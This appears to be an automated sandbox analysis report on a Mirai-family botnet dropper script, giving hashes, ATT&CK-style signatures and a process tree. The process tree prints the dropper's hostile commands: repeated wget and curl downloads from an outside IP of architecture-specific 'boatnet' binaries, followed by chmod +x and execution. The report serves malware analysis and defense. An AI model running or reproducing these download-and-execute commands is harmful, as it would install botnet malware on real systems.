Analysis
-
max time kernel
149s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
17-12-2024 06:22
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
14099ca3ba60ee276a8d96c4b47cd58f
-
SHA1
d46e02797df3f7be4bf440003b2296ffe8992451
-
SHA256
e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5
-
SHA512
249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1596 chmod 1610 chmod 1618 chmod 1626 chmod 1642 chmod 1554 chmod 1506 chmod 1514 chmod 1566 chmod 1498 chmod 1530 chmod 1541 chmod 1580 chmod 1522 chmod 1634 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 1499 WTF /tmp/WTF 1507 WTF /tmp/WTF 1515 WTF /tmp/WTF 1523 WTF /tmp/WTF 1531 WTF /tmp/WTF 1542 WTF /tmp/WTF 1555 WTF /tmp/WTF 1567 WTF /tmp/WTF 1581 WTF /tmp/WTF 1597 WTF /tmp/WTF 1611 WTF /tmp/WTF 1619 WTF /tmp/WTF 1627 WTF /tmp/WTF 1635 WTF /tmp/WTF 1643 WTF -
Modifies Watchdog functionality 1 TTPs 30 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 30 IoCs
description ioc Process File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral1/files/fstream-1.dat upx -
description ioc Process File opened for reading /proc/1035/cmdline WTF File opened for reading /proc/1502/cmdline WTF File opened for reading /proc/1306/cmdline WTF File opened for reading /proc/1550/cmdline WTF File opened for reading /proc/1157/cmdline WTF File opened for reading /proc/655/cmdline WTF File opened for reading /proc/672/cmdline WTF File opened for reading /proc/1117/cmdline WTF File opened for reading /proc/755/cmdline WTF File opened for reading /proc/1479/cmdline WTF File opened for reading /proc/1614/cmdline WTF File opened for reading /proc/1478/cmdline WTF File opened for reading /proc/1306/cmdline WTF File opened for reading /proc/1160/cmdline WTF File opened for reading /proc/1141/cmdline WTF File opened for reading /proc/1479/cmdline WTF File opened for reading /proc/978/cmdline WTF File opened for reading /proc/409/cmdline WTF File opened for reading /proc/1510/cmdline WTF File opened for reading /proc/1582/cmdline WTF File opened for reading /proc/1598/cmdline WTF File opened for reading /proc/1310/cmdline WTF File opened for reading /proc/458/cmdline WTF File opened for reading /proc/476/cmdline WTF File opened for reading /proc/595/cmdline WTF File opened for reading /proc/404/cmdline WTF File opened for reading /proc/595/cmdline WTF File opened for reading /proc/1035/cmdline WTF File opened for reading /proc/1031/cmdline WTF File opened for reading /proc/460/cmdline WTF File opened for reading /proc/1155/cmdline WTF File opened for reading /proc/975/cmdline WTF File opened for reading /proc/1461/cmdline WTF File opened for reading /proc/1570/cmdline WTF File opened for reading /proc/1477/cmdline WTF File opened for reading /proc/1038/cmdline WTF File opened for reading /proc/1041/cmdline WTF File opened for reading /proc/1157/cmdline WTF File opened for reading /proc/1212/cmdline WTF File opened for reading /proc/1242/cmdline WTF File opened for reading /proc/1477/cmdline WTF File opened for reading /proc/1011/cmdline WTF File opened for reading /proc/1600/cmdline WTF File opened for reading /proc/1123/cmdline WTF File opened for reading /proc/463/cmdline WTF File opened for reading /proc/902/cmdline WTF File opened for reading /proc/1104/cmdline WTF File opened for reading /proc/482/cmdline WTF File opened for reading /proc/1078/cmdline WTF File opened for reading /proc/1622/cmdline WTF File opened for reading /proc/970/cmdline WTF File opened for reading /proc/1493/cmdline WTF File opened for reading /proc/1145/cmdline WTF File opened for reading /proc/1543/cmdline WTF File opened for reading /proc/436/cmdline WTF File opened for reading /proc/1059/cmdline WTF File opened for reading /proc/1536/cmdline WTF File opened for reading /proc/1310/cmdline WTF File opened for reading /proc/1545/cmdline WTF File opened for reading /proc/1155/cmdline WTF File opened for reading /proc/541/cmdline WTF File opened for reading /proc/997/cmdline WTF File opened for reading /proc/1534/cmdline WTF File opened for reading /proc/459/cmdline WTF -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1503 wget 1504 curl -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.m68k wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1483 -
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1484
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1496
-
-
/bin/catcat boatnet.x862⤵PID:1497
-
-
/bin/chmodchmod +x boatnet.x86 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1498
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1499
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1503
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1504
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1506
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1507
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1511
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1512
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1514
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1515
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.i4682⤵PID:1519
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.i4682⤵
- Writes file to tmp directory
PID:1520
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1522
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1523
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.i6862⤵PID:1527
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.i6862⤵
- Writes file to tmp directory
PID:1528
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1530
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1531
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.x86_642⤵PID:1535
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:1536
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-fy1aVx systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1541
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1542
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1546
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1550
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1554
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1555
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1559
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1564
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-h8UKhD systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1566
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1567
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1571
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1572
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-6ezsnW systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1580
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1581
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1585
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1592
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1596
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1597
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1601
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1608
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1610
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1611
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1615
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1616
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1618
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1619
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1623
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1624
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1626
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1627
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1631
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1632
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1634
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1635
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1639
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1640
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-CgvOrA netplan_7v52snic ohshit.sh snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-hm1lD0 WTF2⤵
- File and Directory Permissions Modification
PID:1642
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1643
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5e91063f55319252533dd4b79524515e8
SHA1f6d254d0a708dd18917a3db48eec8b27fd2c7526
SHA25681a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603
SHA512ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5